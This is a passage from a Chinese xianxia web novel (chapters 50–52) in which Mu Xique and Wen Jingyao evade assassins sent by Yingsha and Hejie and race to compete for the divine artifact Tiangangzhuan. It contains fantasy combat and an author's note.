慕夕阙盈盈笑了声:“嗯,去吧。” 她目送闻惊遥离开,看他的背影消失在视野内,过了约莫半刻钟,慕夕阙坐起身,拢了拢睡得凌乱的衣裳,穿鞋下榻。 她走出画墨阁,好似在主宅散步一般,偶尔来往的几个闻家弟子都识得她,会对她拱手行礼。 慕夕阙走到一处小院前,抬手敲了敲门。 开门的是随泱,随安在慕家暗桩处养伤,随泱便留在闻家帮忙。 看到外头站着的人是慕夕阙,他的眉梢一扬:“呦,慕二小姐大驾光临,怎么不提前吱一声?” 慕夕阙绕过他,直接往院内走,坐在院里的石桌旁。 随泱关上门:“我刚听说今天白日的事,你找我应当是有事要我帮忙,你说。” 他在慕夕阙对侧坐下,取出盏暖茶,为她倒了一杯递过去。 慕夕阙直接问道:“随家的木盒子,你能否拿来借我一用?” 随泱抬眸看她:“你要去揭发鹤阶?” 他冷下脸,沉声道:“现在不是时机,我知道你修为高强,但鹤阶门生兴旺,几千年下来积累的底气并非是一个闻家和慕家可以对抗的,贸然出头,逞莽夫之勇只会出事。” 慕夕阙自是知晓他的担忧,看着他道:“我知道,我有用。” “慕二小姐,你到底在做什么,我总觉得你心里揣着许多事,也知道许多事,鹤阶在你手上频频受挫。”随泱放下茶壶,一贯散漫的脸上神情肃重。 慕夕阙只是看着他,安安静静,并未说话。 两人对峙许久,末了,随* 泱妥协:“你救了我和我阿弟的命,上刀山下火海都是我该做的,木盒我会拿给你。” 慕夕阙颔首:“多谢。” 她喝完随泱倒的暖茶,起身便要离开,随泱却又叫住她。 两人一站一座,随泱仰头看她,叹了一口气:“二小姐,你的性子有些过于独来独往,心思也沉闷,这般活着挺累的,闻少主对你一往情深,纵使你对他无半分真心,利用居多,也多少回头看看他吧。” 慕夕阙并未回话,推门离开。 随泱看着她越走越远的背影,无声叹气,摇了摇头。 东浔城外。 青影快出残风,一路奔去,闻惊遥在亥时末抵达寒霞镇,镇内寂静,一片黝黑。 闻惊遥路过门前有“柳”字的宅院,那宅院门前的锁环上落了层薄薄的灰,似乎多日未有人进家,闻惊遥只匆匆瞥了一眼,继续向前走。 他奔至闻家暗桩传来的地方,空旷的密林内坐落了一方不小不大的宅院,门口有弟子把守,瞧穿着打扮,是鹤阶的人。 门口的人眼前一花,少年清俊的脸已怼至身前,接着脖颈刺痛,剑鞘重重砸在他们的脖颈上,几个弟子意识糊涂,晕倒在地。 闻惊遥一路闯进去,这些年轻弟子并不是他的对手,全数被打晕,而他顺利抵达地牢,甚至有些过于顺利了些。 站在地牢门前,他看着铁栏上挂着的锁,抬手就劈,木栏破裂,碎屑横飞,里头的人听到动静慌成一团,忙抱在一起。 但拾阶而下的人却并非那些囚禁他们的弟子,而是个身着青衫,模样极为清俊的少年郎,他干净到与这潮湿的地牢格格不入,却并未嫌弃半分这里头的肮脏,而是看了眼他们,沉声道:“跟我走吧。” 柳家人愣了下,刚想问他是谁,瞧见少年转身时腰间一闪而过的青玉玉符。 这玉符样式与柳确身上的几乎一样。 是闻家人。 “是闻家的人,快走!”柳父立马起身,拽起虚弱的妻子,柳家长子搀扶自己同样饿的没力气的妹妹,四个人赶忙跟在闻惊遥身后。 他们都以为这是自家孩子求来的援兵,被关入这里的多日,已满心绝望,此刻随着这青衫少年一步步走上长而陡的阶梯,似乎能感知到外头的冷风了。 四人心中大喜,终于能从这里离开,跟幼子报个平安了。 可几人弯腰彻底走出地牢,抬起眼眸看过去,那身量挺拔的青衫少年站立在前侧几步远,单手执剑,马尾高束,安静看着四处房檐之上的一道道黑影。 那些黑影身着统一的服饰,腰悬一块墨色玉符,皆脸蒙面具,站在四周高耸的房顶,垂眸冷眼瞧着他们。 放眼望去,足足百人,身上溢出的灵压几乎要迫着几个凡人跪倒在地。 柳父唇瓣哆嗦:“这……这……” 而他们的身前,只有一人。 闻惊遥目无波澜,抬眸看去,瞧见对侧黑衣人腰间的玉符上镌刻的字,字迹遒劲有力,肃杀凛然,就像这个门派一般,威名远扬,从海外仙岛传至十三州。 十三州与海外仙岛的势力从不互相涉足,这个组织更是从未来过十三州,虽是收钱办事,但听说只杀奸佞,不诛正道。 如今看来,似乎并非如此。 闻惊遥淡声开口:“影杀。” 杀人如过影,悄无声息,无痕无迹。《 》 50-55 第51章 第 51 章 天罡篆 “公子, 什么影杀,这是谁……” 听到闻惊遥念出那两个字,柳家长子壮着胆子走上前, 站在闻惊遥身后一步远的地方。 闻惊遥神色平淡:“来杀我们的人。” 才出龙潭又入虎穴,柳母身子本就虚弱, 听了这话后一口气没上来, 竟直接晕了过去。 柳家二女慌忙喊:“阿娘!” 闻惊遥并未回头看,取出一瓶丹药塞到柳家长子手中:“退回去。” 柳家长子听明白,连连点头:“是, 公子小心。” 他们四人退后,重新回到地牢中,而闻惊遥仰头望向四周房檐上的杀手, 一个个修为都不低, 抱着必杀他的心来。 慕夕阙的第一个猜想, 验证了。 燕家和鹤阶确实想将他引出, 对他动手。 闻惊遥淡然看着他们, 为首的一名影杀杀手抬手,戴了暗黑色的手衣,抬起的手像是无声的指令, 乍然之间,所有杀手一起行动, 从房檐跃下, 刀剑朝他劈斩而下。 百里之外,悬浮于虚空的水镜映出这一切, 刀光剑影中瞬移而过的青影。 纪挽春负手而立,冷眼看着这一切,对身旁的人道:“看见了吗, 他的修为又精进了,那些天连日的打斗对他来说更像是锤炼,功法更进一筹,若与他正面竞争天罡篆,你大概会输。” 燕如珩弯唇笑了下:“是,所以不能留他的命。” 纪挽春侧身看他:“闻惊遥和慕夕阙并不笨,不应看不出这是陷阱,缘何会乖乖来这里?” 燕如珩道:“他们自是知晓这是陷阱,小夕未来,应是在幕后观局,看我们要做什么?” 纪挽春眯了眯眼:“那现在如何做?主子急欲为天罡篆择主,有主后这神器便会安稳些,确定这能困住闻惊遥吗?若慕二小姐来帮忙……” 他看向一侧的水镜,闻家功法主心境,心境越精进,功法越强,这些天的事情似乎让他的心境大有改变,功法也精进不少,影杀来十三州的杀手只派出了一半。 可这些人修为不弱,要杀闻惊遥应当不难,可如今看着,闻惊遥似乎能应付。 燕如珩看着水镜道:“小夕既然想看,那就做给她看,若看出我们要做什么,她一定会去帮闻惊遥。” 纪挽春不解:“什么,你不怕她坏事?” 燕如珩转身朝密林走去,冷声道:“她坏不了事,一切照旧,派人去截杀闻家和小夕,能拖多久是多久。” 纪挽春看着他离开的背影,默然了瞬。 随后他取出鹤阶玉符,传信道:“打碎一根镇压祭墟的天柱。” 万里之外,十三州边境之地,一方径约万丈的坑穴外竖立了足足百根天柱,滔天红光组成的禁制,将坑洞内的秽毒牢牢禁锢。 随着一声剧烈的轰鸣声后,一根天柱上如蛛网般的裂纹从底部爬上,攀柱绕行,瞬息布满千丈高的天柱。 镇守在祭墟附近的修士们从梦中惊醒,地面撼动,弟子反应过来,骇然看向远处的祭墟。 “天柱……天柱裂了一根!” 成百上千的弟子起身,连外衫都来不及披,跟随镇守的长老们瞬移奔向祭墟,一道道身影如流光穿梭在林间,穿过密林后拔地腾空,井然有序环绕在祭墟上空周围。 晦涩的术语念出,带有金光的圆盘陡然出现在虚空,重重压在祭墟之上。 十三州各家各派的大能们皆都惊醒,披衣而起,冲出殿外。 海外仙岛的沙滩之上,数百位大能脸色肃重,仰头看向祭墟的方向。 一根天柱碎裂,十三州和海外仙岛再安稳不了。 东浔主城内,闻家主宅。 斜靠在躺椅上的慕夕阙睁开眼,垂眸看向身侧已显出形状的莲花,十二辰金光大闪,嗡嗡鸣响,像是在告诉她,秽毒出现,祭墟动荡。 每当祭墟动荡,十二辰和天罡篆都会从长久沉睡中醒来,依着它们的本能认主去镇压祭墟,还十三州百年安稳。 慕夕阙坐起身,单手按住那朵莲花,等了不到半刻钟,腰间的慕家玉符便亮了光,朝蕴急促的声音从内传来。 “小夕,祭墟天柱碎了一根,镇守的弟子们难以抵挡,十三州和海外仙岛上百世家的大能们皆已去支援镇压,鹤阶发令,今夜为天罡篆择主,要求各位世家弟子在明日卯时前赶到鹤阶,卯时正开放神境,争夺天罡篆。” 慕夕阙应道:“嗯,知晓了。” 朝蕴语速极快:“惊遥如今在寒霞镇,庄夫人联系不上他,已派弟子前去寻人,他恐怕都不知晓天罡篆要择主了!” 听出她话中的焦急,慕夕阙起身往外走,手拿玉符回道:“放心,他会赶去的。” 朝蕴追问:“可是现在联系——” 慕夕阙打断她:“阿娘,您信我。” 她并未再与朝蕴说话,直接挂断了玉符,随后纵身跃上房檐,跳跃在青瓦之上,朝东浔城外奔去。 主宅之内,朝蕴看着挂断的玉符,眉心紧蹙:“这两个孩子到底在做什么,若卯时前赶不到鹤阶,惊遥便无法竞夺天罡篆,那势必会落到燕如珩手中。” 由于使用神器会折寿,因此历任神器之主只会认年轻弟子,寿数长久,身体康健。 而年轻子弟中,慕夕阙已有十二辰,唯一能与燕如珩竞争的,只有闻惊遥。 朝蕴身后的蔺九尘沉默,片刻后,他下了决心,开口道:“师娘,我去。” 朝蕴厉然转身看他:“不行!” “天罡篆总得有个主人,既然不能落到与鹤阶同流合污的世家子弟手中,若闻少主赶不过去,那就我去。”蔺九尘握紧手中的长刀,他对天罡篆从来没有半分觊觎,也心知闻惊遥要去夺天罡篆的意图,这东西不能再落进那些心术不正的人手中用来为虎作伥。 朝蕴冷冷看着他,态度坚决:“我说不行,使用天罡篆折损寿数,你要慕家同时失去你和小夕吗?” “可是——”蔺九尘刚要开口,腰间玉符亮了。 他低头看去,来信是慕夕阙。 ——师兄,和阿榆一起帮我个忙- 慕夕阙穿梭在密林之中,奔向寒霞镇。 她的速度极快,快过闻家派出去寻闻惊遥的弟子们。 东浔地界枝叶旺盛,密林也多,月色也被林叶遮住,透不进来一丝光,好似也掩盖了埋伏在尽头的暗潮,让人觉察不出危险。 红影奔出密林,冲出黑暗,一缕皎洁的月光打在她身上,也同样照亮了尽头的危险。 长鞭从侧方袭来,鞭身上的倒刺划破虚空,声响肃杀,罡风凛然,而慕夕阙迅速侧身避开,那长鞭甩至地面,地表撕裂破碎出一条长痕。 慕夕阙退至十几丈远外,看着尽头的几十杀手,面具覆脸,腰戴墨色玉符。 她的瞳眸微颤,纵使预料到在通往寒霞镇的路上会有埋伏,不是燕家就是鹤阶的弟子,却万万没想到,竟会是影杀? 他们何时来了十三州,且影杀不是什么单子都接的,上辈子那个人对她说过—— 我们影杀只除奸恶,二小姐可以信任我。 慕夕阙拔出长剑,单手执剑:“影杀不是素来只杀奸佞吗,我并未做坏事,缘何拦我?” 为首的是名男子,也是方才攻击她的人,他冷眼看着她:“杀手能有什么原则,有人出钱,我们接单,便是如此。” 语罢,几十道黑影化为流星,急速朝她奔来。 慕夕阙彻底冷了脸,咬紧牙关,腰身后仰躲过一柄从正面劈来的长刀,随后她翻身瞬移至那人身后,长剑速度极快,只见一道银光闪过,那柄银剑已经厉然抹了那名杀手的脖子。 手法熟练,一剑割喉,握剑姿势、出剑角度、砍杀位置都令所有影杀杀手一震。 手执鞭子的杀手瞳眸微缩:“你竟会影杀的杀招?谁教你的!” 慕夕阙一句话不说,如魅影般朝他冲来。 她熟悉影杀的杀招,也学了一手影杀的绝杀之技,这些都是那个人亲传给她的,无数次帮她死里逃生,助她将十三州搅得翻天覆地。 这些杀手似乎并不能杀她,招招式式都避开她的命门,奔着她的丹田去,慕夕阙在两刻钟的打斗中终于看出来。 他们要废了她的修为,重伤她。 保她的命,却让她成为一个废人,谁指使的一目了然,那等无能丑恶的小人永远只会使这些龌龊手段。 影杀的杀手修为皆都不低,几十人也够缠住如今的慕夕阙,她咬牙避开迎来的剑,祭出十二辰。 莲花花瓣缠绕在剑身上,她的杀招陡然强盛。 密林之中,刀光剑影。 三刻钟后,两名闻家长老带领数百闻家弟子们奔出密林,去往寒霞镇。 刚穿过黑暗,抵达亮堂之处,便瞧见了满地的尸身。 弟子们惊骇,为首的长老上前一步,蹲下探查这些尸身的伤痕。 随后,他冷了脸:“杀招熟悉,应是之前杀害闻时烨、旷悬、季观澜的人。” 视线一转,他看到这些人腰间的玉符,拾起一看,端详几息功夫后,眉心紧锁,厉声道:“影杀?” 从不涉足十三州之事的影杀,竟然来了? 那杀害这些杀手的人又是谁,能以一己之力屠杀几十个杀手,便是闻惊遥和慕夕阙都做不到这些吧,除非慕夕阙祭出十二辰相助自己。 他们继续往前走,几十里外,又横列了百具尸身。 这次是鹤阶和燕家弟子,杀招一如既往,与影杀身上的一致。 但此刻并非关心这些的时机,领队长老起身,幽深的眼眸盯着前方的路:“无论是谁杀的,似乎在帮助我们,速去寻少主!” “是!” 弟子们拱手,上百道青影奔向寒霞镇。 与之相反的方向,慕夕阙边跑边擦去脸上的血迹,她奔移的方向是西南侧,鹤阶之位。 燕如珩应知晓闻家会派出弟子寻闻惊遥,必定会在这条路上埋伏,以闻家现在重创的兵力,定会被绊住手脚,若她祭出十二辰便能迅速解决,让他们去支援闻惊遥。 慕夕阙穿梭在林中,上方虚空有一艘艘灵舟去往同样的方向,这些是从各个方位去往鹤阶,意图竞争天罡篆的世家弟子们。 燕如珩果然打的是这个主意。 困住闻惊遥这个强敌,就算杀不了,也总能让他赶不到鹤阶。 与十二辰认血脉不同,天罡篆择强为主。 一到卯时,神境开启,所有参与竞争的人便会进入神器中,谁能打服天罡篆,谁便是它的主人,失去闻惊遥这个强敌,那些弟子怕都不是燕如珩的对手。 燕如珩的修为并非只有元婴初境,他一直都在伪装。 慕夕阙快速瞬移,咽下喉口的血。 铮—— 利箭从侧方袭来。 慕夕阙眼眸一冷,纵身而起躲过利箭,站定之后抬眸看去。 两道纤细的身影从林中走出。 一人身着紫衣,模样年长些,抬手收回用灵力幻化的长弓。 一人身着粉衣,模样年轻,瞧着和姜榆差不多年岁。 看清那两张脸后,慕夕阙眉心一拧。 竟是越疏棠,她为何会来十三州? 越疏棠走近,面容冷淡:“十二辰之主,你是慕夕阙,为何会影杀的手段?” 慕夕阙只盯着她看。 越疏棠抬手拦住迟笙,将她护在身后,阴沉沉看着慕夕阙:“你甚至会我们阁主的折露斩,阁主从未来过十三州,整个影杀会这术法的人一只手都能掰过来,一个十三州的世家弟子如何会这些?” 越疏棠修为不弱,甚至很高,她已有将近五十岁,修为已至元婴满境,慕夕阙上辈子与她关系不错,越疏棠帮过她很多忙,算是个挚友。 可越疏棠死在她回十三州后的第十年,彼时慕夕阙刚在十三州诛杀了几个仇人,重伤后回到海外仙岛养伤之时,听闻了这件事。 越疏棠死了,只听说是死于一场任务。 于是慕夕阙的伤刚好,提刀先去砍了杀害越疏棠的人,她从未想到这辈子还能见到越疏棠。 见她不说话,越疏棠皱眉:“你杀害了我们影杀几十人。” 慕夕阙道:“他们要杀我在先。” “影杀并不滥杀无辜,既要杀你,那定是你有罪在身。”躲在越疏棠身后的迟笙扬声道。 越疏棠回头瞪她:“阿笙,闭嘴!” 阿笙…… 慕夕阙看过去,那模样稚嫩的粉衣少女竟是迟笙? 她还是第一次见迟笙,在慕夕阙刚认识越疏棠之际,便听说她有个早死的妹妹,名唤迟笙。 提及迟笙,越疏棠从未多言,只是沉默。 慕夕阙打听过迟笙的死因,只听说是十几岁的时候死于海妖口中,那晚有渔船被海浪困在海上,落日前未归。 迟笙带人去救,遇上海中巨兽捕猎,她在打斗中死去,尸身落进海里,尸骨无存。 越疏棠甚至不知杀害她的是哪只海兽,那些没开灵智的海兽只是捕猎,生存的本能而已,她又该怨谁呢? 只能怨自己,那晚为了赚钱出了任务,没有守在迟笙身边。 慕夕阙盯着迟笙看,直把迟笙看得毛骨悚然,悄悄往越疏棠身后躲了躲。 越疏棠侧身挡住迟笙,冷声道:“你若无罪,影杀如何会杀你?” 慕夕阙冷眼看她:“他们说我有罪我便有罪了,你如此信任影杀?” “阁主养我长大,我自是信他。”隔着一段距离,越疏棠看着慕夕阙。 慕夕阙嗤了一声:“可现在摆在你眼前的事实并非如此,我手上从未有过无辜者的性命,而影杀也并非你想象中为义杀人。” 她转身便要离开。 越疏棠纵身飞上前,长刀出鞘,直指慕夕阙的喉咙,迟笙也迅速拔出腰间长剑,堵着慕夕阙身后的路。 双方夹击,慕夕阙目无波澜,并无半分慌张。 越疏棠咬紧牙关:“阁主不会这样做的——” 慕夕阙打断她:“十几年前陈家灭门,陈家家主、家主夫人、少主都死于影杀之手,满门八百多人,即使家主和其夫人孩子或许有罪,那些拜入宗门的弟子们是否全都有罪?” “屠人满门,这是影杀应该干的事?” 越疏棠愣了下:“……你说什么?” 慕夕阙接着道:“你爱信不信,陈家灭门有影杀的手笔,你在为义杀人,总有人并非如此,若无影杀阁主授意,这些人如何敢从海外仙岛跑到十三州杀人谋命的?” 看出越疏棠的惊惧,仿佛不可置信,瞳眸瞪得极大。 慕夕阙垂下的手紧攥。 震惊吗? 自然震惊,慕夕阙也同样如此。 她有多信任影杀,前世在海外仙岛的那些时日,影杀的人教她修行,传授她活命的术法,那位阁主更是将自己的秘法传给她,纵使这些人是杀手,手上鲜血无数,在慕夕阙看来,却活得比一些自诩正直的人光洁多了。 灵枢阁告知她陈家灭门有影杀手笔之时,她确实抱着存疑的心,半信半疑。 直到今晚影杀来围杀她,慕夕阙在十三州纵使脾气不好的名声远扬,却从未有过劣迹,除邪无数,十三州百姓始终是敬重她的,且十二辰之主日后便是保护十三州的人,影杀不会没查到这些。 明知她的为人,可影杀还是收钱办事了。 她的信任再一次落了空。 慕夕阙绕开越疏棠,刚走出没多远,听到身后急促的脚步声。 越疏棠声音颤抖:“此次祭墟动荡,是否有影杀的手笔?” 慕夕阙仰头望向几万里外的天际,在这里什么都看不到,但是修为强盛的修士是可以感知到若有若无的邪气,以及祭墟的灵压波动。 “或许有吧。” 慕夕阙提气快速奔移,瞬移出十几里外,身侧追来两人,越疏棠和迟笙一左一右跟在她身侧,两人同时提气,眸底暗红,面容却冷淡。 越疏棠问她:“你要去哪里?” “去鹤阶。”慕夕阙道。 迟笙说道:“我和阿姐跟你去。” 慕夕阙的速度慢了些,不太理解这两人为何跟上。 越疏棠看着她,眼底微红,说道:“三十五年前影杀来了十三州,我爹也来了,但他再未回去,此后影杀并未再派人来十三州,若你说的是真的,十三年前杀害陈家的影杀,应是三十五年前来的那一批人。” 她顿了顿,又道:“或许有我父亲。” 可父亲那般正直良善的人,怎会诛人满门? 慕夕阙并未说话,到达空旷之地,她抬手从乾坤袋中召出一艘小型灵舟,纵身跃上,看着舟下的越疏棠和迟笙。 “上来。” 越疏棠和迟笙双双翻上灵舟- 万里之外,鹤阶门前悬停了一艘艘灵舟,年轻弟子们从舟上下来,足足有三十多人,各个在十三州声名远扬。 一位鹤阶长老站在高台上,脸色肃重,对下方的世家子弟们道:“事发突然,因着前些时日祭墟动荡未曾镇压,天柱破碎一根,如今百位大能奔赴祭墟镇压秽毒,天罡篆也得提前择主。” 他顿了顿,又道:“想必各位应知晓慕家十二辰已认慕二小姐,若这次择出天罡篆之主,两位神器之主会共同奔赴祭墟镇压秽毒,而历任天罡篆之主,便是十三州圣尊。” 执掌鹤阶,那便是执掌十三州,对自己的家族大有裨益。 这些参加竞争的世家少主和弟子们在来的路上收到鹤阶秘闻,使用神器会折损寿数,因此有一半人折返,却仍有一半人不顾寿命,也想当上这个天罡篆之主,十三州圣尊。 远处又有一艘灵舟落下,众人望去,那贴了“燕”字的灵舟气派威严,燕如珩一身白衣,从舟上走下。 “少主,这是赤敛燕家少主,燕如珩,今年二十。”一名随行的弟子压低声音,对身旁的人介绍。 那被唤“少主”的人模样年轻,穿着一身绣有银丝缎纹的鹅黄长衫,是离方城秦家。 秦定迢皱眉:“他的修为为何?” 弟子道:“听闻是元婴初境,不如少主。” 秦定迢颔首:“嗯,那便不足为惧。” 一个刚满二十岁的年轻少主,元婴境已是根骨绝佳,可秦定迢今年三十四岁,修为已有元婴中境。 燕如珩走至跟前,对鹤阶长老拱手行礼。 身后一艘又一艘灵舟停下,不多时,便站了将近百人。 众人看着天际,始终不见闻家灵舟,若说年轻一辈中谁最有希望夺得天罡篆,当属闻家闻惊遥。 毕竟慕夕阙已有十二辰,不能再认另一个神器,同辈佼佼者,只剩闻惊遥。 见闻家不来,众人心中不免窃喜,无论闻惊遥是碍于闻家的面子不肯来当这个鹤阶圣尊,还是前些时日东浔出事确实严重,总之他不来,他们便少了个劲敌。 燕如珩回身,望向远处,群山连绵,云雾缭绕,而一抹天光如一柄利剑劈开黑暗,带来亮光。 还有一刻钟,便到卯时正。 作者有话说:一切都在我们小慕的掌握中,她是很了解燕如珩的手段的,马上就会手刃很多仇人的。 纪挽春就是49章的时候,徐无咎当年在灵舟上看见的人其中之一,他说的那一串名字都是暗杀名单。 今天发个小红包[撒花] 第52章 第 52 章 玄武 鹤阶禁地中供了上百根烛, 放眼望去皆是荧荧烛火,几个鹤阶长老坐于蒲团之上安静打坐,端正肃重。 这方肃穆之地, 却放了张格格不入的软榻,一人毫无姿态斜靠在上, 单手托腮, 似闭目休息。 而身前不远处,在外威名远扬的鹤阶长老却都低垂着头,不敢看他一眼。 倏然之间, 有人从禁地外走入,隔着一扇挡面的屏风拱手行礼。 纪挽春道:“主子,派去拦杀慕夕阙的影杀都被杀了, 她有十二辰在手, 还杀害了咱们的一些弟子, 闻惊遥的修为似乎也有异, 他当真撑到了闻家带弟子支援, 见闻家弟子来了,我便先行回了鹤阶传信。” 软榻上的男子睁开眼,苍灰色的眼眸淡淡看去:“闻惊遥和慕夕阙人呢?” “咱们布守寒霞镇的暗桩弟子已被杀害, 就近赶去的鹤阶暗桩看到慕二小姐和闻少主一同出现,走小路正在往鹤阶赶来, 闻家长老带弟子走了大路, 应是慕二小姐先一步救下了闻少主,他们要混淆咱们的视线, 好让闻少主赶来。” 屏风后窸窸窣窣的声音传来,纪挽春将头低得更低了些。 身侧一截黑衣拖曳而过,有人从纪挽春身边经过, 他屏住呼吸不敢发出声响,而黑衣男子走出去,禁地之外是一处格外深邃的密林。 黑衣男子仰头,廊外悬挂的烛火跳跃在他的脸上,映出一张苍白无血的面容。 他朝外走,冷声道:“慕夕阙手握十二辰不好对付,你们怕拖不住,闻惊遥不能来,天罡篆也不能落在他手中。” 禁地内的鹤阶长老慌忙跟上,疾步往外走,看着前方高挑的黑影,几人心中都想不明白,以主子这般高强的修为,纵使十二辰认血脉,可天罡篆却是择强为主。 他为何不让天罡篆认自己,难不成是怕折损寿数? 可上头的事,他们不敢问,也不能问,只能低头跟上,随他一同去截杀来者。 万里外的虚空上,一艘灵舟正朝鹤阶急速奔来,甲板之上站着两人,青衫少年和红衣少女并肩而立,两人望向远处。 倏然之间,一柄利刃从侧方劈来,强大的灵压宛如削铁般将这艘灵舟从中斩断。 “夕阙!” 少年飞奔上前,接住从虚空掉落的红衣少女,他提气护在两人身旁,如两道流光般砸落进密林,树木折断,枝叶凋零。 扑通两声,两人重重砸在深坑之中。 可他们来不及恢复伤势,提气便化为两道魅影,借着密林的遮挡冲进林中。 紧接着,虚空中迅速悬停十几人,为首的黑衣男子抬起手,食指轻扣,身后的十几个鹤阶长老听令,宛如利箭迸发,从空中冲下追去。 黑衣男子负手而立,身影瞬移百里,眨眼间跃至密林的另一侧。 他悬停在虚空,缥缈的黑衫被狂风吹扬,一头半披的长发也随之舞动,冷冷盯着密林里急速本来的两道身影,抬手蕴出灵力。 他等了半刻钟。 两道身影冲出密林,而早已等候在密林尽头的黑衣青年单手挥出,灵力如火球般滚滚砸去,爆发的威压顷刻间吹折周遭的树木,山石崩裂,泥地破碎,径有百丈的深坑和着滚滚的尘土掩埋了两人。 身后追着的十几个鹤阶长老也在此刻冲出密林,抬手结印,顷刻间扫去所有泥土,露出被掩埋的深坑。 看清坑底的刹那间,所有人瞳眸微颤,几乎破音。 “人呢?” 那坑底干干净净,只余几滩血迹和燃烧的符篆,哪里有人? “主子,这——” 有人下意识抬眸看向虚空,只看到模糊的轮廓,似乎很是俊美。 他愣了瞬,下一刻,利光劈来,割喉而过。 其余长老反应过来,慌忙低头不敢看他,生怕看到那张脸。 不知为什么,这人在鹤阶有时蒙面,但时常不遮不掩,可他戴着一张面具打服鹤阶所有人的时候,第一句话便是不可直视,若看到他的脸,便留不得命。 虚空之上,黑衣男子负在身后的手悄无声息攥紧,骨节捏得脆响。 “敢耍我。” 坑底破碎的符篆被一阵风吹起。 慕峥擅阵术,姜榆更是阵术一道的天纵之才,她靠自学慕峥所撰的书册,将所有阵术都铭记于心,若非修为境界摆在这里,日后必成一方大能。 燃了所有灵力画出的传送符篆,两人刚落地,姜榆跪在地上,捂着胸口咳嗽,咳出了大口的淤血。 “阿榆!” 蔺九尘来不及顾自己身上的伤,赶忙俯身查看姜榆的情况,方才他用修为竭力护住姜榆,让她能赶在那人挥出杀招前燃烧灵力符篆,两人的筋骨皆都重伤。 “师兄,我无事,赶紧走。” 姜榆抬起头,擦去唇角的血,慕夕阙留给他们两人的易容术已失效,两人皆都露出彼此的真容。 蔺九尘背上她,提气瞬移,迅速奔出百里。 不知道慕夕阙这一手易容术哪里学来的,她好似知道许多东西,猜出闻惊遥去往鹤阶的这一路上必定会有埋伏,而鹤阶那位忌讳慕夕阙手中的十二辰,应会亲自出手来追捕,因此让他们两人易容。 这极其凶险,如今东浔城内阵术最高的当属姜榆,两人几乎拿命在拼,再晚一步定会死在鹤阶手下。 但庆幸,他们活下来了。 当天光彻底撕破黑暗,白鹤啼鸣,绕着一座座山峰盘旋,穿梭在云雾之中,圭表快要走至卯时正。 鹤阶长老对身后的弟子道:“不能再等了,祭墟等不及,去取天罡篆。” 等待的世家弟子们有些面露喜色,惊喜闻惊遥并未赶来。 有些皱眉不解,心下猜测前些时日明明有风声,传闻惊遥要来夺天罡篆。 燕如珩负手而立,身侧的燕家弟子凑到他身边,小声说道:“影杀的人并未拦住闻惊遥和慕二小姐,有燕家弟子看到慕二小姐和闻惊遥一同出了寒霞镇,两人乘了一艘小灵舟赶来,闻家长老带弟子乘坐几艘大灵舟,应是要淆惑视听,浑水摸鱼。” 弟子顿了下,补充道:“但鹤阶之主带十几个鹤阶长老亲自去截停了,主子出手,他们赶不过来的。” 燕如珩并无震惊,他本就不指望影杀能截停慕夕阙,能拖住片刻也好。 无论过程如何,总之结果已定。 侧后方的秦家阵营,秦定迢看着远处的天际,眉头紧锁,自言自* 语:“闻惊遥当真不来?” 一旁的秦家弟子道:“闻少主不来,您就少了个劲敌。” 秦定迢摇摇头:“我并非困惑这个,只是在想,前些时日传东浔被祟种攻城,虽闻家并未对外正式公布详情,但我父亲说闻家主战死了,如今闻家重创,更应该需要圣尊这个身份来勉力维护。” 所以闻惊遥就算为了闻家,也应当会来夺天罡篆的,又为何不来? 他皱眉,想到什么,又看向侧前方的燕如珩。 燕家少主仍是一身白衣,纤尘不染,高洁清雅,在一众穿金戴银的世家子弟中,像是一朵云鹤般。 东浔出事着实诡异,有传鹤阶参与,而近来燕家与鹤阶走得这般近,燕家、慕家、闻家三家的关系在十三州传了几年的谣言,难不成和燕如珩有关? 可现在并非担忧这个的时机,一旁的秦家弟子推了推自家少主。 “少主,天罡篆拿来了。” 秦定迢立马回神,抬眸看去,只见一名鹤阶弟子双手举于头顶,供起一方木盒。 那令十三州半数世家趋之若鹜的天罡篆,被鹤阶长老拿出。 与寻常圆镜并无什么区别,它的直径只有不到半尺,一手便能掌握,那存续了万年岁月之久的篆盘上覆了一层暗淡的铜色,上刻晦涩难懂的古语,鹤阶长老挥出灵力将它托举至虚空,所有人仰头看去。 若非天罡篆的名声在外,这瞧着只是个寻常篆盘般,可一旦知晓这是天罡篆,是数次镇压祭墟的神器,是十三州圣尊的身份象征,那便截然不同了。 它肃重威严,强大无匹。 荧荧光亮从天罡篆周身散出,这方小巧的圆盘在虚空急速旋转,倏然变大百倍,它竖立在虚空中,篆心的位置渐渐虚化,波动的灵力逐渐汇聚成波动的水纹。 水纹另一侧,便是天罡篆的域,也称神境。 器灵就在里面。 众人惊喜,恨不得立马进去比试。 燕如珩看着磅礴的天罡篆,与高台上的鹤阶长老对视,两人无声颔首。 鹤阶长老抬手高呼:“卯时正,开神境!” 足足百位世家弟子化为流光冲进天罡篆中,等他们都进去后,燕如珩慢条斯理走过去,抬脚迈入天罡篆中。 殿外只剩下等自家人归来的各家弟子,他们焦急等候。 而鹤阶长老正欲关闭神境,他背过身,也不免露出笑,闻惊遥未来,怕是里头的人都不是燕如珩的对手,这天罡篆之主早已钦定,又岂能让与他人? 鹤阶圣尊,十三州之主,不能是旁人。 神境即将关上,鹤阶长老转身。 一道青光从远处奔来,眨眼到了身前,众人眼前一花,而少年长身玉立,身上青衫破乱,血垢满身,唯有那双眼睛依旧如往日般干净清淡。 鹤阶长老心下大颤,竟不顾装模作样赶忙要关上神境,眼前青影一闪而过,闻惊遥一言不发,淡淡看他一眼,随后冲入天罡篆的神境之中。 在他进入的刹那间,神境关闭。 四周安静沉寂,众家弟子愕然,看向高台上的鹤阶长老。 他面如菜色,盯着关闭神境的天罡篆,唇瓣哆嗦,不知在说些什么。 可离得近的弟子却能听清,他在自言自语。 “完了,这下完了。” 底下的弟子们反应过来,虽心中怅然,果然这天罡篆还是落不到自家。 但转念又觉得,择强为主,也挺公平的,闻家少主确实有这般实力,若拿到天罡篆,日后必成大器- 在十几个身影冲出鹤阶的刹那,见他们远去,慕夕阙从掩身处走出。 她冷眼看向天边消失的黑影,随后漠然转身,而紧随其后的越疏棠和迟笙赶忙跟上。 越疏棠道:“方才出去的人,为首那人似乎修为很高,速度太快了,我连他的脸都没看清,他是谁?” 慕夕阙冷声道:“一个该死的人。” 越疏棠哑然。 迟笙懵懵懂懂问:“慕二小姐,你与他有仇?” “嗯。” 慕夕阙淡淡应道。 今日天罡篆择主,鹤阶玉灵并未开启,慕夕阙却绕过前厅,如入自家一般熟门熟路穿过令人眼花缭乱的曲折长廊,一路朝里走。 